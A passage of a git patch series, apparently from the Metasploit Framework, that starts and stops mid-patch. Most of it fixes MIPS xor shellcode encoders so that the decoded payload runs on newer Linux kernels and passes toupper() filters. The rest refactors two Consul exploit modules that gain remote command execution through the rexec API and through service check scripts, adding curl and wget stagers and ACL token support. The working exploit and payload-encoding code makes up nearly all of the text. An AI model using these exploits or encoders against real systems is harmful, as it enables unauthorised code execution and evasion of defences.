#{@base_dir} directory" - cmd_exec "rm '#{@base_dir}' -rf" - - print_status "Removing #{@home_dir}/.asoundrc" - cmd_exec "rm '#{@home_dir}/.asoundrc'" - - if @remove_prefs_dir - print_status "Removing #{@home_dir}/.vmware directory" - cmd_exec "rm '#{@home_dir}/.vmware' -rf" - elsif @remove_prefs_file - print_status "Removing #{@prefs_file}" - cmd_exec "rm '#{@prefs_file}' -rf" - end - end - - def on_new_session(session) - # if we don't /bin/sh here, our payload times out - session.shell_command_token '/bin/sh' - super + cmd_exec "DISPLAY=#{datastore['Xdisplay']} PATH=$PATH:/usr/bin vmplayer #{vm_dir}/#{vmx_name}.vmx & echo " end end From fff850a07e26078265e73b3f8b477a021756827f Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Tue, 18 Dec 2018 12:30:55 +0000 Subject: [PATCH 058/220] Make longxor encoder great again The longxor encoder for mipsbe does not work correctly. At the end of the decoding, it should invoke cacheflush() with the correct parameters: int cacheflush(char *addr, int nbytes, int cache) The encoder previously did not setup the arguments, as it even said so in the comments: ; addiu $4, $16, -4 ; not checked by Linux ; li $5,40 ; not checked by Linux ; li $6,3 ; $6 is set above I think this is because the encoder is pretty old (2008), and before kernel 2.6.11, cacheflush() did not need any parameters (from the cacheflush man page): BUGS Linux kernels older than version 2.6.11 ignore the addr and nbytes arguments, making this function fairly expensive. Therefore, the whole cache is always flushed. This commit fixes that by setting up the parameters correctly. As an unfortunate side effect this increases the shellcode by 16 bytes, but it is absolutely necessary for it to work properly. Note that this bug is not present when testing the encoder output on an emulator like qemu; emulators do not need to flush the caches to work properly. As an added bonus I have also made it compatible with toupper() restrictions, which is common in web server exploits too. This did not add any extra bytes to the encoder. --- modules/encoders/mipsbe/longxor.rb | 65 ++++++++++++++++-------------- 1 file changed, 35 insertions(+), 30 deletions(-) diff --git a/modules/encoders/mipsbe/longxor.rb b/modules/encoders/mipsbe/longxor.rb index 6e44de0ec748..58cd6866b2b8 100644 --- a/modules/encoders/mipsbe/longxor.rb +++ b/modules/encoders/mipsbe/longxor.rb @@ -13,7 +13,10 @@ def initialize 'Description' => %q{ Mips Web server exploit friendly xor encoder }, - 'Author' => 'Julien Tinnes ', + 'Author' => + [ 'Julien Tinnes ', # original shellcode + 'Pedro Ribeiro ', # fix Linux >= 2.6.11 and toupper() compat + ], 'Arch' => ARCH_MIPSBE, 'License' => MSF_LICENSE, 'Decoder' => @@ -36,7 +39,8 @@ def decoder_stub(state) raise EncodingError.new("The payload is not padded to 4-bytes (#{state.buf.length} bytes)") if state.buf.length%4 != 0 # 16-bits not (again, see below) - reg_14 = (number_of_passes+1)^0xFFFF + reg_10 = (number_of_passes+1)^0xFFFF + reg_5 = state.buf.length^0xFFFF decoder = Metasm::Shellcode.assemble(Metasm::MIPS.new(:big), <> 16) & 0ffffh ; ori reg, reg, (imm) & 0ffffh - addiu reg, $0, imm ; sufficient if imm.abs <= 0x7fff + addiu reg, $0, imm ; sufficient if imm.abs <= 0x7fff endm - li( $14, #{reg_14}) ; 4 passes - nor $14, $14, $0 ; put number of passes in $14 + li( $10, #{reg_10}) ; load number of passes ^ 0xffff + nor $10, $10, $0 ; put number of passes in $10 - li( $11,-73) ; addend to calculated PC is 73 + li( $11,-89) ; addend to calculated PC is 73 ;.set noreorder next: bltzal $8, next ;.set reorder slti $8, $0, 0x8282 - nor $11, $11, $0 ; addend in $9 - addu $25, $31, $11 ; $25 points to encoded shellcode +4 -; addu $16, $31, $11 ; $16 too (enable if you want to pass correct parameters to cacheflush + nor $11, $11, $0 ; addend in $9 + addu $25, $31, $11 ; $25 points to encoded shellcode +4 + addu $16, $31, $11 ; $16 too (used to set up the cacheflush() arg down below) -; lui $2, 0xDDDD ; first part of the xor (old method) - slti $23, $0, 0x8282 ; store 0 in $23 (our counter) -; ori $17, $2, 0xDDDD ; second part of the xor (old method) - lw $17, -4($25) ; load xor key in $17 +; lui $2, 0xDDDD ; first part of the xor (old method) + slti $23, $0, 0x8282 ; store 0 in $23 (our counter) +; ori $17, $2, 0xDDDD ; second part of the xor (old method) + lw $17, -4($25) ; load xor key in $17 - li( $13, -5) - nor $13, $13, $0 ; 4 in $13 + li( $9, -5) + nor $9, $9, $0 ; 4 in $9 - addi $15, $13, -3 ; 1 in $15 + addi $15, $9, -3 ; 1 in $15 loop: lw $8, -4($25) - addu $23, $23, $15 ; increment counter + addu $23, $23, $15 ; increment counter xor $3, $8, $17 - sltu $30, $23, $14 ; enough loops? + sltu $30, $23, $10 ; enough loops? sw $3, -4($25) - addi $6, $13, -1 ; 3 in $6 (for cacheflush) + addi $6, $9, -1 ; 3 in $6 (for cacheflush) bne $0, $30, loop - addu $25, $25, $13 ; next instruction to decode :) + addu $25, $25, $9 ; next instruction to decode :) -; addiu $4, $16, -4 ; not checked by Linux -; li $5,40 ; not checked by Linux -; li $6,3 ; $6 is set above + addiu $4, $16, -4 ; cacheflush() addr parameter + li( $10,#{reg_5}) ; cacheflush() nbytes parameter + nor $5, $10, $0 ; same as above +; li $6,3 ; $6 is set above, 3rd arg for cacheflush() ; .set noreorder - li( $2, 4147) ; cacheflush - ;.ascii "\\x01JT\\x0c" ; nul-free syscall + li( $2, 4147) ; cacheflush +; .ascii "\\x01JT\\x0c" ; nul-free syscall syscall 0x52950 ; .set reorder - ; write last decoder opcode and decoded shellcode -; li $4,1 ; stdout +; write last decoder opcode and decoded shellcode +; li $4,1 ; stdout ; addi $5, $16, -8 -; li $6,40 ; how much to write +; li $6,40 ; how much to write ; .set noreorder -; li $2, 4004 ; write +; li $2, 4004 ; write ; syscall ; .set reorder - nop ; encoded shellcoded must be here (xor key right here ;) + nop ; encoded shellcoded must be here (xor key right here ;) ; $t9 (aka $25) points here EOS From 86cbddf46dde9c7a5871dd0cad90b2163ac947db Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Tue, 18 Dec 2018 13:35:16 +0000 Subject: [PATCH 059/220] fix spacing --- modules/encoders/mipsbe/longxor.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/encoders/mipsbe/longxor.rb b/modules/encoders/mipsbe/longxor.rb index 58cd6866b2b8..986a2639c637 100644 --- a/modules/encoders/mipsbe/longxor.rb +++ b/modules/encoders/mipsbe/longxor.rb @@ -13,7 +13,7 @@ def initialize 'Description' => %q{ Mips Web server exploit friendly xor encoder }, - 'Author' => + 'Author' => [ 'Julien Tinnes ', # original shellcode 'Pedro Ribeiro ', # fix Linux >= 2.6.11 and toupper() compat ], @@ -80,7 +80,7 @@ def decoder_stub(state) endm li( $10, #{reg_10}) ; load number of passes ^ 0xffff - nor $10, $10, $0 ; put number of passes in $10 + nor $10, $10, $0 ; put number of passes in $10 li( $11,-89) ; addend to calculated PC is 73 ;.set noreorder From 4682cf57962ba1bb003a0b720b3fa098ebf6eb0f Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Tue, 18 Dec 2018 15:04:28 +0100 Subject: [PATCH 060/220] Define in register_options rather than DefaultOptions. --- modules/exploits/multi/misc/consul_rexec_exec.rb | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/modules/exploits/multi/misc/consul_rexec_exec.rb b/modules/exploits/multi/misc/consul_rexec_exec.rb index 630dd5461fba..fd6da17e432d 100644 --- a/modules/exploits/multi/misc/consul_rexec_exec.rb +++ b/modules/exploits/multi/misc/consul_rexec_exec.rb @@ -33,16 +33,13 @@ def initialize(info={}) 'Payload' => {}, 'CmdStagerFlavor' => [ 'bourne' ], 'Privileged' => false, - 'DefaultOptions' => - { - 'SSL' => false, - 'RPORT' => 8500 - }, 'DefaultTarget' => 0)) deregister_options('SRVHOST', 'SRVPORT', 'SSLCert', 'URIPATH') register_options( [ - OptString.new('TARGETURI', [true, 'The base path', '/']) + OptString.new('TARGETURI', [true, 'The base path', '/']), + OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]), + Opt::RPORT(8500) ]) end From e51530688b3e762de366b58ff1dcdaae1555a79f Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Tue, 18 Dec 2018 15:09:04 +0100 Subject: [PATCH 061/220] fail_with is not allowed in check method. Use vprint_error and return a CheckCode instead. --- modules/exploits/multi/misc/consul_rexec_exec.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/consul_rexec_exec.rb b/modules/exploits/multi/misc/consul_rexec_exec.rb index fd6da17e432d..385ee674dfd5 100644 --- a/modules/exploits/multi/misc/consul_rexec_exec.rb +++ b/modules/exploits/multi/misc/consul_rexec_exec.rb @@ -59,7 +59,8 @@ def check return Exploit::CheckCode::Safe end rescue JSON::ParserError - fail_with(Failure::Unknown, 'Failed to parse JSON output.') + vprint_error("Failed to parse JSON output.") + return Exploit::CheckCode::Unknown end end Exploit::CheckCode::Unknown From aeec5cf23e5c3bc980644ff29be30b94c65613b3 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Tue, 18 Dec 2018 15:31:30 +0100 Subject: [PATCH 062/220] Cleaner to define this as a Hash, then call .to_json on it. Better support of agent definition in check function. --- modules/exploits/multi/misc/consul_rexec_exec.rb | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) diff --git a/modules/exploits/multi/misc/consul_rexec_exec.rb b/modules/exploits/multi/misc/consul_rexec_exec.rb index 385ee674dfd5..a0258d57fa2c 100644 --- a/modules/exploits/multi/misc/consul_rexec_exec.rb +++ b/modules/exploits/multi/misc/consul_rexec_exec.rb @@ -53,7 +53,7 @@ def check if res and res.code == 200 begin agent_info = JSON.parse(res.body) - if agent_info["Config"]["DisableRemoteExec"] == false + if agent_info["Config"]["DisableRemoteExec"] == false || agent_info["DebugConfig"]["DisableRemoteExec"] == false return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe @@ -75,7 +75,7 @@ def execute_command(cmd, opts = {}) 'method' => 'PUT', 'uri' => normalize_uri(uri, 'v1/session/create'), 'ctype' => 'application/json', - 'data' => '{"Behavior":"delete","Name":"Remote Exec","TTL":"15s"}' + 'data' => {:Behavior => "delete", :Name => "Remote Exec", :TTL => "15s"}.to_json }) if res and res.code == 200 begin @@ -87,15 +87,12 @@ def execute_command(cmd, opts = {}) end # unicode encoding for redirection characters. does not work otherwise. - cmd = cmd.gsub! '>', '\u003e' - cmd = cmd.gsub! '&', '\u0026' - print_status("Setting command for rexec session #{sess['ID']}") res = send_request_cgi({ 'method' => 'PUT', 'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/job?acquire=#{sess['ID']}"), 'ctype' => 'application/json', - 'data' => "{\"Command\":\"#{cmd}\",\"Wait\":2000000000}" + 'data' => {:Command => "#{cmd}", :Wait => 2000000000}.to_json }) if res and not res.code == 200 or res.body == 'false' fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.') @@ -106,7 +103,7 @@ def execute_command(cmd, opts = {}) 'method' => 'PUT', 'uri' => normalize_uri(uri, "v1/event/fire/_rexec"), 'ctype' => 'application/json', - 'data' => "{\"Prefix\":\"_rexec\",\"Session\":\"#{sess['ID']}\"}" + 'data' => {:Prefix => "_rexec", :Session => "#{sess['ID']}"}.to_json }) if res and not res.code == 200 fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.') From f290221a66d07418ee2eb3943b37d188a5de8055 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Tue, 18 Dec 2018 15:36:52 +0100 Subject: [PATCH 063/220] Cleaner response check in check function. Usage of CheckCode instead of Exploit::CheckCode. --- .../exploits/multi/misc/consul_rexec_exec.rb | 25 ++++++++++--------- 1 file changed, 13 insertions(+), 12 deletions(-) diff --git a/modules/exploits/multi/misc/consul_rexec_exec.rb b/modules/exploits/multi/misc/consul_rexec_exec.rb index a0258d57fa2c..8a2404fe984f 100644 --- a/modules/exploits/multi/misc/consul_rexec_exec.rb +++ b/modules/exploits/multi/misc/consul_rexec_exec.rb @@ -50,20 +50,21 @@ def check 'method' => 'GET', 'uri' => normalize_uri(uri, "/v1/agent/self"), }) - if res and res.code == 200 - begin - agent_info = JSON.parse(res.body) - if agent_info["Config"]["DisableRemoteExec"] == false || agent_info["DebugConfig"]["DisableRemoteExec"] == false - return Exploit::CheckCode::Vulnerable - else - return Exploit::CheckCode::Safe - end - rescue JSON::ParserError - vprint_error("Failed to parse JSON output.") - return Exploit::CheckCode::Unknown + unless res + vprint_error 'Connection failed' + return CheckCode::Unknown + end + begin + agent_info = JSON.parse(res.body) + if agent_info["Config"]["DisableRemoteExec"] == false || agent_info["DebugConfig"]["DisableRemoteExec"] == false + return CheckCode::Vulnerable + else + return CheckCode::Safe end + rescue JSON::ParserError + vprint_error 'Failed to parse JSON output.' + return CheckCode::Unknown end - Exploit::CheckCode::Unknown end From 551f8c5e92672bc73a2eea0d324a0d0c1bc3ea00 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Tue, 18 Dec 2018 15:48:58 +0100 Subject: [PATCH 064/220] Support for echo and printf command stager flavors + support for curl and wget command stager flavors (hence reactivation of SRVHOST, SRVPORT, URIPATH and SSLCert). --- modules/exploits/multi/misc/consul_rexec_exec.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/multi/misc/consul_rexec_exec.rb b/modules/exploits/multi/misc/consul_rexec_exec.rb index 8a2404fe984f..c8ca5e1e8b51 100644 --- a/modules/exploits/multi/misc/consul_rexec_exec.rb +++ b/modules/exploits/multi/misc/consul_rexec_exec.rb @@ -31,10 +31,9 @@ def initialize(info={}) 'Platform' => 'linux', 'Targets' => [ [ 'Linux', {} ] ], 'Payload' => {}, - 'CmdStagerFlavor' => [ 'bourne' ], + 'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf', 'wget', 'curl' ], 'Privileged' => false, 'DefaultTarget' => 0)) - deregister_options('SRVHOST', 'SRVPORT', 'SSLCert', 'URIPATH') register_options( [ OptString.new('TARGETURI', [true, 'The base path', '/']), From b80e5715d49f2400a473e9d19768d7fe3f4ad03e Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Tue, 18 Dec 2018 16:02:39 +0100 Subject: [PATCH 065/220] Add support for authorization with X-Consul-Token ACL header. --- .../exploits/multi/misc/consul_rexec_exec.rb | 28 +++++++++++++++++-- 1 file changed, 25 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/misc/consul_rexec_exec.rb b/modules/exploits/multi/misc/consul_rexec_exec.rb index c8ca5e1e8b51..d2d60de5b14c 100644 --- a/modules/exploits/multi/misc/consul_rexec_exec.rb +++ b/modules/exploits/multi/misc/consul_rexec_exec.rb @@ -38,6 +38,7 @@ def initialize(info={}) [ OptString.new('TARGETURI', [true, 'The base path', '/']), OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]), + OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']), Opt::RPORT(8500) ]) end @@ -46,8 +47,11 @@ def initialize(info={}) def check uri = target_uri.path res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(uri, "/v1/agent/self"), + 'method' => 'GET', + 'uri' => normalize_uri(uri, "/v1/agent/self"), + 'headers' => { + 'X-Consul-Token' => datastore['ACL_TOKEN'] + } }) unless res vprint_error 'Connection failed' @@ -74,6 +78,9 @@ def execute_command(cmd, opts = {}) res = send_request_cgi({ 'method' => 'PUT', 'uri' => normalize_uri(uri, 'v1/session/create'), + 'headers' => { + 'X-Consul-Token' => datastore['ACL_TOKEN'] + }, 'ctype' => 'application/json', 'data' => {:Behavior => "delete", :Name => "Remote Exec", :TTL => "15s"}.to_json }) @@ -91,6 +98,9 @@ def execute_command(cmd, opts = {}) res = send_request_cgi({ 'method' => 'PUT', 'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/job?acquire=#{sess['ID']}"), + 'headers' => { + 'X-Consul-Token' => datastore['ACL_TOKEN'] + }, 'ctype' => 'application/json', 'data' => {:Command => "#{cmd}", :Wait => 2000000000}.to_json }) @@ -102,6 +112,9 @@ def execute_command(cmd, opts = {}) res = send_request_cgi({ 'method' => 'PUT', 'uri' => normalize_uri(uri, "v1/event/fire/_rexec"), + 'headers' => { + 'X-Consul-Token' => datastore['ACL_TOKEN'] + }, 'ctype' => 'application/json', 'data' => {:Prefix => "_rexec", :Session => "#{sess['ID']}"}.to_json }) @@ -113,7 +126,10 @@ def execute_command(cmd, opts = {}) while not found res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/?keys=&wait=2000ms") + 'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/?keys=&wait=2000ms"), + 'headers' => { + 'X-Consul-Token' => datastore['ACL_TOKEN'] + } }) begin data = JSON.parse(res.body) @@ -132,6 +148,9 @@ def execute_command(cmd, opts = {}) res = send_request_cgi({ 'method' => 'PUT', 'uri' => normalize_uri(uri, "v1/session/destroy/#{sess['ID']}"), + 'headers' => { + 'X-Consul-Token' => datastore['ACL_TOKEN'] + } }) if res and not res.code == 200 or res.body == 'false' @@ -141,6 +160,9 @@ def execute_command(cmd, opts = {}) res = send_request_cgi({ 'method' => 'DELETE', 'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}?recurse="), + 'headers' => { + 'X-Consul-Token' => datastore['ACL_TOKEN'] + } }) if res and not res.code == 200 or res.body == 'false' From a1e1e4a4f48e08a0129982c38cf2be6827d2c64c Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Tue, 18 Dec 2018 16:05:50 +0100 Subject: [PATCH 066/220] Remove useless comment. --- modules/exploits/multi/misc/consul_rexec_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/consul_rexec_exec.rb b/modules/exploits/multi/misc/consul_rexec_exec.rb index d2d60de5b14c..dff2c517ad4a 100644 --- a/modules/exploits/multi/misc/consul_rexec_exec.rb +++ b/modules/exploits/multi/misc/consul_rexec_exec.rb @@ -84,6 +84,7 @@ def execute_command(cmd, opts = {}) 'ctype' => 'application/json', 'data' => {:Behavior => "delete", :Name => "Remote Exec", :TTL => "15s"}.to_json }) + if res and res.code == 200 begin sess = JSON.parse(res.body) @@ -93,7 +94,6 @@ def execute_command(cmd, opts = {}) end end - # unicode encoding for redirection characters. does not work otherwise. print_status("Setting command for rexec session #{sess['ID']}") res = send_request_cgi({ 'method' => 'PUT', From 0feadf636b08f6a53b8a15fb18a83b620ec95cb8 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Tue, 18 Dec 2018 16:29:36 +0100 Subject: [PATCH 067/220] Define in RPORT and SSL in register_options rather than DefaultOptions. Support for echo and printf command stager flavors + support for curl and wget command stager flavors (hence reactivation of SRVHOST, SRVPORT, URIPATH and SSLCert). --- modules/exploits/multi/misc/consul_service_exec.rb | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) diff --git a/modules/exploits/multi/misc/consul_service_exec.rb b/modules/exploits/multi/misc/consul_service_exec.rb index b311b9774477..b2387832684e 100644 --- a/modules/exploits/multi/misc/consul_service_exec.rb +++ b/modules/exploits/multi/misc/consul_service_exec.rb @@ -31,19 +31,15 @@ def initialize(info={}) 'Platform' => 'linux', 'Targets' => [ [ 'Linux', {} ] ], 'Payload' => {}, - 'CmdStagerFlavor' => [ 'bourne' ], + 'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf', 'curl', 'wget'], 'Privileged' => false, - 'DefaultOptions' => - { - 'SSL' => false, - 'RPORT' => 8500 - }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 11 2018')) - deregister_options('SRVHOST', 'SRVPORT', 'SSLCert', 'URIPATH') register_options( [ - OptString.new('TARGETURI', [true, 'The base path', '/']) + OptString.new('TARGETURI', [true, 'The base path', '/']), + OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]), + Opt::RPORT(8500) ]) end From 177ae2f927b033bf531acf5d78481fd08fb93697 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Tue, 18 Dec 2018 16:33:53 +0100 Subject: [PATCH 068/220] fail_with is not allowed in check method. Use vprint_error and return a CheckCode instead. Cleaner response check in check function. Usage of CheckCode instead of Exploit::CheckCode. --- .../multi/misc/consul_service_exec.rb | 24 ++++++++++--------- 1 file changed, 13 insertions(+), 11 deletions(-) diff --git a/modules/exploits/multi/misc/consul_service_exec.rb b/modules/exploits/multi/misc/consul_service_exec.rb index b2387832684e..d969dbfac3d5 100644 --- a/modules/exploits/multi/misc/consul_service_exec.rb +++ b/modules/exploits/multi/misc/consul_service_exec.rb @@ -50,19 +50,21 @@ def check 'method' => 'GET', 'uri' => normalize_uri(uri, "/v1/agent/self"), }) - if res and res.code == 200 - begin - agent_info = JSON.parse(res.body) - if agent_info["Config"]["EnableScriptChecks"] == true - return Exploit::CheckCode::Vulnerable - else - return Exploit::CheckCode::Safe - end - rescue JSON::ParserError - fail_with(Failure::Unknown, 'Failed to parse JSON output.') + unless res + vprint_error 'Connection failed' + return CheckCode::Unknown + end + begin + agent_info = JSON.parse(res.body) + if agent_info["Config"]["EnableScriptChecks"] == true || agent_info["DebugConfig"]["EnableScriptChecks"] == true + return CheckCode::Vulnerable + else + return CheckCode::Safe end + rescue JSON::ParserError + vprint_error 'Failed to parse JSON output.' + return CheckCode::Unknown end - Exploit::CheckCode::Unknown end From 34c95557176dffe5b7843ec9aeb8c9562e570395 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Tue, 18 Dec 2018 15:37:47 +0000 Subject: [PATCH 069/220] Fix byte_xori encoder The byte_xori encoder for mipsbe does not work correctly. At the end of the decoding, it should invoke cacheflush() with the correct parameters: int cacheflush(char *addr, int nbytes, int cache) I think this is because the encoder is based of the longxori encoder, which itself is pretty old (2008), and before kernel 2.6.11, cacheflush() did not need any parameters (from the cacheflush man page): BUGS Linux kernels older than version 2.6.11 ignore the addr and nbytes arguments, making this function fairly expensive. Therefore, the whole cache is always flushed. This commit fixes that by setting up the parameters correctly. As an unfortunate side effect this increases the shellcode by 16 bytes, but it is absolutely necessary for it to work properly. Note that this bug is not present when testing the encoder output on an emulator like qemu; emulators do not need to flush the caches to work properly. --- modules/encoders/mipsbe/byte_xori.rb | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/modules/encoders/mipsbe/byte_xori.rb b/modules/encoders/mipsbe/byte_xori.rb index ce56c69af27a..9bf4a43f1225 100644 --- a/modules/encoders/mipsbe/byte_xori.rb +++ b/modules/encoders/mipsbe/byte_xori.rb @@ -18,8 +18,9 @@ def initialize }, 'Author' => [ - 'Julien Tinnes ', # original longxor encoder, which this one is based on - 'juan vazquez' # byte_xori encoder + 'Julien Tinnes ', # original longxor encoder, which this one is based on + 'juan vazquez', # byte_xori encoder + 'Pedro Ribeiro ', # fix for Linux >= 2.6.11 (set up cacheflush() args properly) ], 'Arch' => ARCH_MIPSBE, 'License' => MSF_LICENSE, @@ -44,6 +45,7 @@ def decoder_stub(state) # 16-bits not (again, see also commented source) reg_14 = (number_of_passes+1)^0xFFFF + reg_5 = state.buf.length^0xFFFF decoder = Metasm::Shellcode.assemble(Metasm::MIPS.new(:big), < Date: Tue, 18 Dec 2018 15:48:29 +0000 Subject: [PATCH 070/220] Update longxor.rb Suffers from the same problem as the mipsbe version --- modules/encoders/mipsle/longxor.rb | 65 ++++++++++++++++-------------- 1 file changed, 35 insertions(+), 30 deletions(-) diff --git a/modules/encoders/mipsle/longxor.rb b/modules/encoders/mipsle/longxor.rb index 7f2229863637..367014da90c1 100644 --- a/modules/encoders/mipsle/longxor.rb +++ b/modules/encoders/mipsle/longxor.rb @@ -13,7 +13,10 @@ def initialize 'Description' => %q{ Mips Web server exploit friendly xor encoder }, - 'Author' => 'Julien Tinnes ', + 'Author' => + [ 'Julien Tinnes ', # original shellcode + 'Pedro Ribeiro ', # fix Linux >= 2.6.11 and toupper() compat + ], 'Arch' => ARCH_MIPSLE, 'License' => MSF_LICENSE, 'Decoder' => @@ -36,7 +39,8 @@ def decoder_stub(state) raise EncodingError.new("The payload is not padded to 4-bytes (#{state.buf.length} bytes)") if state.buf.length%4 != 0 # 16-bits not (again, see below) - reg_14 = (number_of_passes+1)^0xFFFF + reg_10 = (number_of_passes+1)^0xFFFF + reg_5 = state.buf.length^0xFFFF decoder = Metasm::Shellcode.assemble(Metasm::MIPS.new(:little), <> 16) & 0ffffh ; ori reg, reg, (imm) & 0ffffh - addiu reg, $0, imm ; sufficient if imm.abs <= 0x7fff + addiu reg, $0, imm ; sufficient if imm.abs <= 0x7fff endm - li( $14, #{reg_14}) ; 4 passes - nor $14, $14, $0 ; put number of passes in $14 + li( $10, #{reg_10}) ; load number of passes ^ 0xffff + nor $10, $10, $0 ; put number of passes in $10 - li( $11,-73) ; addend to calculated PC is 73 + li( $11,-89) ; addend to calculated PC is 73 ;.set noreorder next: bltzal $8, next ;.set reorder slti $8, $0, 0x8282 - nor $11, $11, $0 ; addend in $9 - addu $25, $31, $11 ; $25 points to encoded shellcode +4 -; addu $16, $31, $11 ; $16 too (enable if you want to pass correct parameters to cacheflush + nor $11, $11, $0 ; addend in $9 + addu $25, $31, $11 ; $25 points to encoded shellcode +4 + addu $16, $31, $11 ; $16 too (used to set up the cacheflush() arg down below) -; lui $2, 0xDDDD ; first part of the xor (old method) - slti $23, $0, 0x8282 ; store 0 in $23 (our counter) -; ori $17, $2, 0xDDDD ; second part of the xor (old method) - lw $17, -4($25) ; load xor key in $17 +; lui $2, 0xDDDD ; first part of the xor (old method) + slti $23, $0, 0x8282 ; store 0 in $23 (our counter) +; ori $17, $2, 0xDDDD ; second part of the xor (old method) + lw $17, -4($25) ; load xor key in $17 - li( $13, -5) - nor $13, $13, $0 ; 4 in $13 + li( $9, -5) + nor $9, $9, $0 ; 4 in $9 - addi $15, $13, -3 ; 1 in $15 + addi $15, $9, -3 ; 1 in $15 loop: lw $8, -4($25) - addu $23, $23, $15 ; increment counter + addu $23, $23, $15 ; increment counter xor $3, $8, $17 - sltu $30, $23, $14 ; enough loops? + sltu $30, $23, $10 ; enough loops? sw $3, -4($25) - addi $6, $13, -1 ; 3 in $6 (for cacheflush) + addi $6, $9, -1 ; 3 in $6 (for cacheflush) bne $0, $30, loop - addu $25, $25, $13 ; next instruction to decode :) + addu $25, $25, $9 ; next instruction to decode :) -; addiu $4, $16, -4 ; not checked by Linux -; li $5,40 ; not checked by Linux -; li $6,3 ; $6 is set above + addiu $4, $16, -4 ; cacheflush() addr parameter + li( $10,#{reg_5}) ; cacheflush() nbytes parameter + nor $5, $10, $0 ; same as above +; li $6,3 ; $6 is set above, 3rd arg for cacheflush() ; .set noreorder - li( $2, 4147) ; cacheflush - ;.ascii "\\x01JT\\x0c" ; nul-free syscall + li( $2, 4147) ; cacheflush +; .ascii "\\x01JT\\x0c" ; nul-free syscall syscall 0x52950 ; .set reorder - ; write last decoder opcode and decoded shellcode -; li $4,1 ; stdout +; write last decoder opcode and decoded shellcode +; li $4,1 ; stdout ; addi $5, $16, -8 -; li $6,40 ; how much to write +; li $6,40 ; how much to write ; .set noreorder -; li $2, 4004 ; write +; li $2, 4004 ; write ; syscall ; .set reorder - nop ; encoded shellcoded must be here (xor key right here ;) + nop ; encoded shellcoded must be here (xor key right here ;) ; $t9 (aka $25) points here EOS From 18391449780ea09d09ec09376eb4fc287ec4de62 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Tue, 18 Dec 2018 16:53:49 +0100 Subject: [PATCH 071/220] Cleaner to define this as a Hash, then call .to_json on it. --- .../multi/misc/consul_service_exec.rb | 24 ++++++++----------- 1 file changed, 10 insertions(+), 14 deletions(-) diff --git a/modules/exploits/multi/misc/consul_service_exec.rb b/modules/exploits/multi/misc/consul_service_exec.rb index d969dbfac3d5..5b6726a20181 100644 --- a/modules/exploits/multi/misc/consul_service_exec.rb +++ b/modules/exploits/multi/misc/consul_service_exec.rb @@ -73,27 +73,23 @@ def execute_command(cmd, opts = {}) service_name = Rex::Text.rand_text_alpha(5) print_status("Creating service '#{service_name}'") - # unicode encoding for redirection characters. does not work otherwise. - cmd = cmd.gsub! '>', '\u003e' - cmd = cmd.gsub! '&', '\u0026' - # NOTE: Timeout defines how much time the check script will run until # getting killed. Arbitrarily set to one day for now. res = send_request_cgi({ 'method' => 'PUT', 'uri' => normalize_uri(uri, 'v1/agent/service/register'), 'ctype' => 'application/json', - 'data' => "{ - \"ID\":\"#{service_name}\", - \"Name\":\"#{service_name}\", - \"Address\":\"127.0.0.1\", - \"Port\":80, - \"check\":{ - \"script\":\"#{cmd}\", - \"interval\":\"10s\", - \"Timeout\":\"86400s\" + 'data' => { + :ID => "#{service_name}", + :Name => "#{service_name}", + :Address => "127.0.0.1", + :Port => 80, + :check => { + :script => "#{cmd}", + :interval => "10s", + :Timeout => "86400s" } - }" + }.to_json }) if res and res.code == 200 begin From a3d020a7e25433e3b6119ffe7e3b56c0e1e52cad Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Tue, 18 Dec 2018 16:56:03 +0100 Subject: [PATCH 072/220] Add support for authorization with X-Consul-Token ACL header. --- modules/exploits/multi/misc/consul_service_exec.rb | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/modules/exploits/multi/misc/consul_service_exec.rb b/modules/exploits/multi/misc/consul_service_exec.rb index 5b6726a20181..8c5b85421e22 100644 --- a/modules/exploits/multi/misc/consul_service_exec.rb +++ b/modules/exploits/multi/misc/consul_service_exec.rb @@ -39,6 +39,7 @@ def initialize(info={}) [ OptString.new('TARGETURI', [true, 'The base path', '/']), OptBool.new('SSL', [false, 'Negotiate SSL/TLS for 